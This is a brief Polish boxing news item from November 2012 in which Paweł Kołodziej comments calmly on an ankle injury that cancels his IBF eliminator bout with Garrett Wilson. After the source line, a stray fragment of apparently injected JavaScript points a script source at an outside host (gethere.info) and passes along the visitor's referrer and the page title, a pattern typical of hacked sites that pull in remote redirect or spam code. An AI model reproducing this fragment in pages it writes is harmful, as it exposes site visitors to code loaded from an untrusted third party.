Kołodziej o kontuzji: Stało się i tyle

25.11.2012 / Paweł Kołodziej / Boks

Wielkim pechem zakończył się dla Pawła Kołodzieja z Trec Teamu (30-0, 17 KO) rok 2012. Niepokonany pięściarz KnockOut Promotions i Trec Team, 8 grudnia przystąpić miał do walki z Garrettem Wilsonem (13-5-1, 7 KO) o miano oficjalnego pretendenta IBF wagi junior ciężkiej, jednak do ringu ostatecznie nie wyjdzie ze względu na uraz kostki, której nabawił się w tym tygodniu.

– Dzień, w którym doznałem kontuzji, naprawdę nie był miły, ale mam taki charakter, że już się tym nie przejmuję. Nie ma co drążyć tematu. Stało się i tyle. Walka zostanie przesunięta. Mój promotor już prowadzi negocjacje z federacją IBF, byśmy mogli zaboksować za dwa miesiące – zdradził Kołodziej w rozmowie z krakow.sport.pl.

– Pech? Nie wierzę w tego typu rzeczy. Życie toczy dalej, świat się nie zawalił. Widocznie ktoś mądrzejszy od nas tym wszystkim kieruje – dodał niepokonany podopieczny Fiodora Łapina, komentując odwołanie swojej walki życia.

Źródło: ringpolska.pl, dostęp: 25.11.2012

 

 s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‚&default_keyword=’ + encodeURIComponent(document.title) + ”;